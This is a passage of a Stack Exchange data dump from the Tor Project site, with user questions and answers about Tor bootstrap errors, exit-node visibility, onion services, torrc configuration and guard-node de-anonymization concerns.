Bootstrapped 25%: Loading networkstatus consensus &#xA;2/3/19, 12:27:42.730 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;2/3/19, 12:27:42.557 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;2/3/19, 12:27:44.503 [WARN] Our clock is 5 hours, 32 minutes behind the time published in the consensus network status document (2019-02-03 18:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;2/3/19, 12:27:44.504 [WARN] Received microdesc flavor consensus with skewed time (CONSENSUS): It seems that our clock is behind by 5 hours, 32 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;2/3/19, 12:27:44.504 [WARN] Problem bootstrapping. Stuck at 40%: Loading authority key certs. (Clock skew -19938 in microdesc flavor consensus from CONSENSUS; CLOCK_SKEW; count 2; recommendation warn; host ? at ?) &#xA;2/3/19, 12:27:44.504 [WARN] 1 connections have failed: &#xA;2/3/19, 12:27:44.505 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;2/3/19, 12:27:44.534 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;2/3/19, 12:27:44.566 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/3/19, 12:27:44.566 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25185" LastEditorUserId="112" LastEditDate="2019-03-13T20:24:25.330" LastActivityDate="2019-03-13T20:24:25.330" Title="What is the problem here?" Tags="|configuration|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19354" PostTypeId="2" ParentId="19251" CreationDate="2019-02-04T00:25:10.693" Score="0" Body="&lt;p&gt;Upon doing more research I found that Tor exit nodes actually can't see the full URL being requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can see the domain but the actual full path of the URL is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/38727920/773263&quot;&gt;This Stackoverflow answer&lt;/a&gt; does a great job of explaining it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In short: FQDN (the domain part of the URL) MAY be transmitted in&#xA;  clear inside the ClientHello packet if SNI extension is used&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The rest of the URL (/path/?some=parameters&amp;amp;go=here) has no business&#xA;  being inside ClientHello since the request URL is a HTTP thing (OSI&#xA;  Layer 7), therefore it will never show up in a TLS handshake (Layer 4&#xA;  or 5). That will come later on in a GET /path/?some=parameters&amp;amp;go=here&#xA;  HTTP/1.1 HTTP request, AFTER the secure TLS channel is established.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;EXECUTIVE SUMMARY Domain name MAY be transmitted in clear (if SNI&#xA;  extension is used in the TLS handshake) but URL (path and parameters)&#xA;  is always encrypted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12200" LastActivityDate="2019-02-04T00:25:10.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19355" PostTypeId="2" ParentId="19150" CreationDate="2019-02-04T00:27:24.027" Score="1" Body="&lt;p&gt;I found that Tor exit nodes can't see the full path of a URL, only the domain (and subdomain if one is used).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full path including the referrer URL in this case is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/a/38727920/773263&quot;&gt;this answer on stackoverflow&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="12200" LastActivityDate="2019-02-04T00:27:24.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19356" PostTypeId="1" CreationDate="2019-02-04T04:34:14.820" Score="1" ViewCount="433" Body="&lt;p&gt;On the Tor project page there is an explicit warning against the use of BitTorrent technology, as this will reveal your own IP address. But websites like bitchute.com use a technology called WebTorrent, a Javascript implementation of BitTorrent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am neither an expert on BitTorrent nor WebTorrent, but I suspect that the same IP issue exists at WebTorrent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, do you have any recommendations on this issue? Services like bitchute.com make no secret of the fact that they use WebTorrent in their browser pages. It becomes problematic if such technology is used quietly in the background.&lt;/p&gt;&#xA;" OwnerUserId="25189" LastActivityDate="2019-11-15T17:02:55.453" Title="Is it safe to visit pages that use WebTorrent javascript technology, like bitchute?" Tags="|ip-address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19358" PostTypeId="2" ParentId="19250" CreationDate="2019-02-04T06:03:38.847" Score="1" Body="&lt;p&gt;I'm having the same issue. Browsing around the repository I don't see the trusty directory at all. Meanwhile, &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt; still claims for trusty:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You need to add the following entries to /etc/apt/sources.list or a&#xA;  new file in /etc/apt/sources.list.d/:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;deb &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; trusty main deb-src&#xA;  &lt;a href=&quot;https://deb.torproject.org/torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deb.torproject.org/torproject.org&lt;/a&gt; trusty main&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;@DJCrashdummy to your comment, my question is what happened to the repository &amp;amp; packages for trusty? Are they no longer being supported by the tor team despite the OS still receiving support from Canonical through April 2019?&lt;/p&gt;&#xA;" OwnerUserId="25191" LastActivityDate="2019-02-04T06:03:38.847" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19359" PostTypeId="2" ParentId="19231" CreationDate="2019-02-04T13:46:57.060" Score="1" Body="&lt;p&gt;You’re not providing any useful information here. However, I’ll take a guess at what your problem might be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is very particular about file permissions. I’m guessing that you didn’t change file ownership to the tor service’s user account, or that you didn’t change the file permissions to read-only for the tor account and no access to any other user account.&lt;/p&gt;&#xA;" OwnerUserId="25193" LastActivityDate="2019-02-04T13:46:57.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19360" PostTypeId="1" AcceptedAnswerId="19361" CreationDate="2019-02-04T18:18:50.447" Score="2" ViewCount="917" Body="&lt;p&gt;Might be a little off-topic but I don't know maybe it's more related to tor than networking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have the following scenario I want to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;home access point is 192.168.1.1,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;computer-1 is 192.168.1.101,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;computer-2 is 192.168.1.102 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and phone-3 is 192.168.1.103&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On computer-1 [192.168.1.101] I have a tor circuit established on its localhost:9050 (default torrc config etc..). I can use this circuit from computer-1 only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is make computer-1's localhost:9050 availalbe to computer-2 and phone-3 and all other devices on the network, so they can use it when they want. I want to accomplish this without changing anything in the way the circuit is opened on computer-1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not good in networking, I guess I should maybe open the 9050 external port on computer-1? It runs debian and I tried with &lt;code&gt;iptables -A INPUT -p tcp --dport 9050 -j ACCEPT&lt;/code&gt; with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to any help in advance.&lt;/p&gt;&#xA;" OwnerUserId="22195" LastActivityDate="2019-02-05T21:49:02.227" Title="Share circuit on localhost:9050 to the rest of the internal network" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19361" PostTypeId="2" ParentId="19360" CreationDate="2019-02-04T19:20:05.140" Score="1" Body="&lt;p&gt;You have to use &lt;code&gt;SocksPort&lt;/code&gt; option to specify not just the port, but IP+port explicitly. You will need to have two lines: one for localhost, one for 192.168.1.101 so it will be available for the localhost apps and for remote ones&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2019-02-05T21:49:02.227" LastActivityDate="2019-02-05T21:49:02.227" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19370" PostTypeId="1" CreationDate="2019-02-05T19:30:30.653" Score="0" ViewCount="407" Body="&lt;p&gt;Is it safe to use Tor without a VPN? Or Should i install a VPN?&lt;/p&gt;&#xA;" OwnerUserId="25198" LastActivityDate="2019-02-07T19:32:59.720" Title="Should i install a VPN on Tor Browser?" Tags="|tor-browser-bundle|security|vpn|" AnswerCount="1" CommentCount="5" ClosedDate="2019-02-21T22:46:36.833" ContentLicense="CC BY-SA 4.0" />
  <row Id="19371" PostTypeId="1" AcceptedAnswerId="19373" CreationDate="2019-02-06T11:00:38.947" Score="2" ViewCount="678" Body="&lt;p&gt;I was told years ago that whenever a new hidden service is created it is added to a list, so there is a record of every hidden service ever created. I believe the list is somewhere on the Tor project website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true could somebody please provide a link? I need this for my research.&lt;/p&gt;&#xA;" OwnerUserId="10121" OwnerDisplayName="user5623335" LastEditorUserId="14997" LastEditDate="2019-03-28T18:34:20.037" LastActivityDate="2019-03-28T18:34:20.037" Title="Tor hidden service URLs" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19373" PostTypeId="2" ParentId="19371" CreationDate="2019-02-06T12:38:46.300" Score="3" Body="&lt;p&gt;There is no record of onion addresses kept anywhere in Tor network. Tor hidden services upload their descriptor on a Tor hidden service directory (HSDir) in a distributed hash table. The descriptor contains the information about introduction points and public keys through which a hidden service can be contacted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To request descriptor from HSDir, one should already have pre-knowledge of its &lt;code&gt;onion address&lt;/code&gt; which is learned out of band such as through email, advertisement or if the hidden service owner is telling you in person. The descriptor itself does not contain the onion address of the hidden service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there were some attempts in the past to collect the onion addresses of hidden services by using a technique called &lt;strong&gt;harvesting onion addresses&lt;/strong&gt; through which a malicious HSDir learns onion addresses from the public key present in descriptors. With v3 onions, the descriptors are now encrypted which can be only decrypted by the client who knows the onion address.&lt;/p&gt;&#xA;" OwnerUserId="14395" LastActivityDate="2019-02-06T12:38:46.300" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19374" PostTypeId="2" ParentId="19294" CreationDate="2019-02-07T03:01:12.157" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/address-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's address spec&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, at this time, &lt;code&gt;.onion&lt;/code&gt; is the only TLD that is dedicated to Tor.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2019-02-07T03:01:12.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19375" PostTypeId="2" ParentId="19370" CreationDate="2019-02-07T19:32:59.720" Score="0" Body="&lt;p&gt;Tor is itself VPN. But if you badly have second layer of protection VPN is shit. Use Proxy wich are better solution because VPN does not hide you completly. &#xA;VPN: &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_private_network&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Virtual_private_network&lt;/a&gt;&#xA;Proxy: &lt;a href=&quot;https://en.wikipedia.org/wiki/Proxy_server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Proxy_server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24858" LastActivityDate="2019-02-07T19:32:59.720" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19384" PostTypeId="1" AcceptedAnswerId="19386" CreationDate="2019-02-08T00:52:11.170" Score="1" ViewCount="270" Body="&lt;p&gt;When I try to host a regular server on my computer using my cellular network as an internet source, the webpages aren't seen by others because it's behind a NAT. However, when I hosted an onion website, it was available to everyone with a Tor browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this happening? And also, is it possible to exploit this to host a regular website that can be accessed by anyone not in my LAN?&lt;/p&gt;&#xA;" OwnerUserId="20039" LastActivityDate="2019-02-08T03:55:12.393" Title="How do Tor websites continue to work behind NATs?" Tags="|onion-services|server|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19386" PostTypeId="2" ParentId="19384" CreationDate="2019-02-08T03:55:12.393" Score="1" Body="&lt;p&gt;The main idea is that the onion service only makes outbound connections. Whenever it communicates with someone, the onion service creates a circuit to some relay and receives communication from the end of that circuit. This way the &lt;em&gt;relay&lt;/em&gt; accepts new connections (through introduction and rendezvous points) and forwards information to the onion service through the circuit it created. Therefore any data the service receives is through any outgoing connections/circuits it created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted an analogy to a non-Tor network, it would be like running a lightweight web server on a VPS, and running your actual web server at home behind a firewall. Your home server would make a persistent outgoing connection (reverse tunnel) to your VPS. When your VPS received a new connection from a client, it would forward any data through your tunnel to your home server.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2019-02-08T03:55:12.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19389" PostTypeId="1" CreationDate="2019-02-08T16:32:51.010" Score="0" ViewCount="2069" Body="&lt;p&gt;After restarting the Tor browser the edited settings of NoScript gets resetted every time. I want to forbid JavaScript. It's annoying i have to edit the settings every time after starting Tor. How can I save them??? That must be possible somehow.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25230" LastActivityDate="2019-02-21T22:33:36.717" Title="How can I save NoScript settings in Tor?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19390" PostTypeId="2" ParentId="13401" CreationDate="2019-02-08T23:40:11.263" Score="0" Body="&lt;p&gt;Something similar solved it for me. I'm trying to run TOR on ParrotOS (Linux Distro) and sudo service tor start did the trick for me.&lt;/p&gt;&#xA;" OwnerUserId="25232" LastActivityDate="2019-02-08T23:40:11.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19391" PostTypeId="1" CreationDate="2019-02-09T16:04:56.270" Score="3" ViewCount="370" Body="&lt;p&gt;Simple question. Doesn't the way Tor works make a de-anonymization more likely the longer you use/run Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding, you are fully de-anonymized when X controls both Entry Guard Node  and Exit Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the way Tor works, you are tied to a fixed Entry Guard for quite a reasonable time. If you are unlucky, you might get connected to a bad Entry Guard Node owned by X. From now on, it is only a matter of time until you are randomly connected to a bad Exit Node, also in control of X. This is due to Tor keeping the Entry Guard stable for a reasonable time but very frequently changes the Middle- and Exit Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I made any error in my thinking? If not, unluckily beeing connected to a bad Entry Guard Node would just need a certain amount of time until Tor randomly connects you to the bad Exit Node belonging to the malicious Entry Guard Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can clarify.&lt;/p&gt;&#xA;" OwnerUserId="25234" LastActivityDate="2019-02-09T19:51:38.910" Title="De-anonymization in Tor, just a matter of time?" Tags="|tor-browser-bundle|deanonymization|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19392" PostTypeId="2" ParentId="8827" CreationDate="2019-02-09T18:51:12.640" Score="2" Body="&lt;p&gt;I'm not familiar with Tor, but I suppose you just want to go through the GFW in China with a VPS server.(Hong Kong Server is ok)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most people in China nowadays use SS(shadowsocks)/SSR/V2ray to get thorugh the GFW with VPS. &#xA;I found a link here, about how to install SSR on your VPS.&#xA;&lt;a href=&quot;https://www.tipsforchina.com/how-to-setup-a-fast-shadowsocks-server-on-vultr-vps-the-easy-way.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tipsforchina.com/how-to-setup-a-fast-shadowsocks-server-on-vultr-vps-the-easy-way.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SS is same to that, and if you use bandwagon, it has SS/SSR server as default option in KiwiVM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some related links: &lt;a href=&quot;https://www.v2ray.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.v2ray.com/&lt;/a&gt;&#xA;&lt;a href=&quot;https://shadowsocks.org/en/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://shadowsocks.org/en/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25235" LastActivityDate="2019-02-09T18:51:12.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19394" PostTypeId="1" CreationDate="2019-02-09T20:45:37.817" Score="0" ViewCount="1486" Body="&lt;p&gt;With the way Tor works, you are tied to a fixed Entry Guard for quite a reasonable time. If you are unlucky, you might get connected to a bad Entry Guard Node owned by X. From now on, it is only a matter of time until you are randomly connected to a bad Exit Node, also in control of X. This is due to Tor keeping the Entry Guard stable for a reasonable time but very frequently changes the Middle- and Exit Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been wondering why Tor doesn't come with a solution for this by default.&#xA;For example: If I would be connected to an Entry Guard Node from the UK, wouldn't it be a very smart move to go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot; User &gt; Tor Browser &gt; Browser &gt; Data &gt; Tor &gt; torrc &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and add the following line to the torrc file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot; ExcludeExitNodes {UK}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StrictNodes 1 &quot;&#xA;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we assume you are connected to a bad Entry Guard Node owned by X, wouldn't it be extremely unlikely that X also runs an Exit Node from a different country?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution would prevent the Exit Guard Node from being from the same country as the Entry Guard Node. Doesn't that solve the mentioned problem?&lt;/p&gt;&#xA;" OwnerUserId="25238" LastActivityDate="2023-02-09T16:00:10.023" Title="Excluding Entry Guard Node's Country from Exit Node?" Tags="|tor-browser-bundle|deanonymization|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19395" PostTypeId="2" ParentId="3497" CreationDate="2019-02-10T01:52:03.150" Score="0" Body="&lt;p&gt;This works in TWRP recovery too: Reboot into recovery &gt; Wipe &gt; Advanced Wipe, select Dalvik/ART Cache and Cache &gt; Swipe to Wipe &gt; Reboot System, and you are done, connection is restored.&lt;/p&gt;&#xA;" OwnerUserId="20338" LastActivityDate="2019-02-10T01:52:03.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19398" PostTypeId="2" ParentId="19389" CreationDate="2019-02-10T07:52:46.073" Score="1" Body="&lt;p&gt;As you only mentioned javascript, you can disable it without using NoScript.&lt;br&gt;&#xA;Simply click the onion on the upper left part of your screen, navigate to security settings and put security level to &quot;Best&quot;. Now javascript is always disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YrXrK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YrXrK.png&quot; alt=&quot;Tor slider settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25240" LastEditorUserId="17825" LastEditDate="2019-02-21T22:33:36.717" LastActivityDate="2019-02-21T22:33:36.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19402" PostTypeId="1" CreationDate="2019-02-11T02:49:07.537" Score="0" ViewCount="390" Body="&lt;p&gt;Is it possible to use Firefox Sync to sync bookmarks in Tor? I have set indentity.fxaccounts.enabled to true, but it still seems to not work. Is there any way to do this, or is it consideredf a security risk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Ubuntu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" OwnerUserId="25247" LastActivityDate="2023-05-27T15:34:50.320" Title="Firefox Sync Enabled" Tags="|firefox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19405" PostTypeId="2" ParentId="19353" CreationDate="2019-02-11T05:54:58.583" Score="1" Body="&lt;p&gt;the messages are there for a reason... please read it and act accordingly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our clock is 5 hours, 32 minutes behind the time published in the consensus network status document (2019-02-03 18:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it seems that your clock is out of sync... please try to connect again (to rule out if it was a server issue), if you get the same error message again set the correct time on your machine. - IIRC your hardware clock should be in UTC!&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2019-02-11T05:54:58.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19410" PostTypeId="1" CreationDate="2019-02-12T14:13:27.953" Score="0" ViewCount="11516" Body="&lt;p&gt;What file refers to Torrc file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In older versions there was Vidalia. And the Torrc file was named in row Torrc=~/tor-browser_en-US/Data/Tor/torrc in the file tor-browser_en-US/Data/Vidalia/vidalia.conf. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&#xA;Petr&lt;/p&gt;&#xA;" OwnerUserId="25260" LastEditorUserId="25283" LastEditDate="2019-02-21T22:32:36.507" LastActivityDate="2021-01-01T04:15:34.053" Title="Where is the torrc file located?" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19412" PostTypeId="1" CreationDate="2019-02-12T18:02:46.093" Score="0" ViewCount="189" Body="&lt;p&gt;The site &lt;a href=&quot;https://www.iplocation.net/find-ip-address&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.iplocation.net/find-ip-address&lt;/a&gt;  (What is my IP?) reports an IP address, and two proxy addresses.  One of the two proxy addresses is the same from TorBrowser or from Firefox (non-tor).  I tried this with two different VPNs, and from different VPN servers.  I haven't tried this without a VPN, as I only connect to Tor when using a VPN.   This doesn't seem okay.  I searched that IP address with Google, and I don't see any report of this, which I would expect if they showed that IP address as a proxy for everyone.&lt;/p&gt;&#xA;" OwnerUserId="25265" LastActivityDate="2019-02-18T14:32:47.810" Title="iplocation.net Reports the Same Proxy, TorBrowser or Firefox (non-tor)" Tags="|tor-browser-bundle|proxy|information-leaks|ip-address-leak|proxy-leaks|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19413" PostTypeId="2" ParentId="19410" CreationDate="2019-02-12T18:07:53.517" Score="2" Body="&lt;p&gt;Torrc is the tor configuration file.  In the current version of TorBrowser, it is located in&#xA;[installation directory]/Browser/TorBrowser/Data/Tor&#xA;You can customize the tor network with this file, such as blocking exit servers from certain countries.&lt;/p&gt;&#xA;" OwnerUserId="25265" LastActivityDate="2019-02-12T18:07:53.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19414" PostTypeId="2" ParentId="19394" CreationDate="2019-02-12T21:15:12.597" Score="0" Body="&lt;p&gt;following this with interest and doing own researches. restricting entry guard node and exit guard node too much like only allowing one country to chose will make your tor browser connection stand out. adversary will find suspicious if there is always one connection from lets say entry point united kingdom and exit point russia. this might stand out and be linked together which makes deanonymization more easy. i dont think you do harm only excluding one single country from exit node (entry guard node country). depending what you do on tor and depending what country you reside in, it can make sense if your entry guard is your country and you fear adversary (government) from your country aiming at you because you break the law in your country but maybe not at other. so you restrict exit guard node from being your country as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you for example live in poor country with no freedom of speech it maybe makes sense to restrict your own country to be your exit node. because other countries will maybe not pass information to them and maybe they dont have the money/possibility (maybe not even interest) to rent server abroad. &lt;/p&gt;&#xA;" OwnerUserId="25267" LastActivityDate="2019-02-12T21:15:12.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19416" PostTypeId="1" CreationDate="2019-02-13T14:21:36.210" Score="2" ViewCount="114" Body="&lt;p&gt;I'm trying to find the source code of noscript in the Tor browser bundle, usually (given how firefox does it) it should be under &lt;code&gt;&amp;lt;uniqueID&amp;gt;.default/extensions&lt;/code&gt;, however with Tor browser bundle all I'm seeing is a few items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;total 7768&#xA;-rw-r--r--@ 1 admin  staff   1.7M Feb 13 08:13 https-everywhere-eff@eff.org.xpi&#xA;-rw-r--r--@ 1 admin  staff   708K Feb 13 08:13 tor-launcher@torproject.org.xpi&#xA;-rw-r--r--@ 1 admin  staff   818K Feb 13 08:13 torbutton@torproject.org.xpi&#xA;-rw-r--r--@ 1 admin  staff   612K Feb 13 08:13 {73a6fe31-595d-460b-a920-fcc0f8843232}.xpi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've extracted and looked at each one of these against noscripts &lt;code&gt;xpi&lt;/code&gt; but can't seem to understand (or am overlooking) where the browser bundle delivers noscript. Any help on this would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="25274" LastActivityDate="2019-03-22T20:00:56.520" Title="Where is noscript source code in Tor browser bundle" Tags="|tor-browser-bundle|source-code|noscript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19418" PostTypeId="1" CreationDate="2019-02-13T17:31:01.630" Score="-1" ViewCount="1292" Body="&lt;p&gt;here is my TOR log, someone please help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2/13/19, 17:26:00.670 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2/13/19, 17:26:00.670 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;2/13/19, 17:26:00.670 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;2/13/19, 17:26:00.671 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;2/13/19, 17:26:00.985 [NOTICE] Bootstrapped 100%: Done &#xA;2/13/19, 17:26:02.653 [NOTICE] New control connection opened from 127.0.0.1. &#xA;2/13/19, 17:26:02.818 [NOTICE] New control connection opened from 127.0.0.1. &#xA;2/13/19, 17:26:47.848 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;2/13/19, 17:26:49.141 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25276" LastEditorUserId="5234" LastEditDate="2019-02-21T22:34:20.697" LastActivityDate="2019-02-21T22:34:20.697" Title="My TOR connection keeps timing out" Tags="|tor-browser-bundle|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19420" PostTypeId="1" CreationDate="2019-02-14T05:32:41.983" Score="1" ViewCount="215" Body="&lt;pre&gt;&lt;code&gt;2/14/19, 04:32:14.857 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/14/19, 04:32:14.858 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/14/19, 04:32:14.858 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/14/19, 04:32:14.858 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/14/19, 04:32:14.858 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;2/14/19, 04:32:14.859 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2/14/19, 04:32:15.130 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2/14/19, 04:32:15.140 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;2/14/19, 04:32:15.966 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;2/14/19, 04:32:26.662 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 10; recommendation warn; host 7961FF5A7B77DFA46721ABE5B8DCF5FBBE26EF7B at 136.243.69.205:9001) &#xA;2/14/19, 04:32:26.663 [WARN] 10 connections have failed: &#xA;2/14/19, 04:32:26.663 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/14/19, 04:32:26.692 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/14/19, 04:32:26.692 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25280" LastEditorUserId="5234" 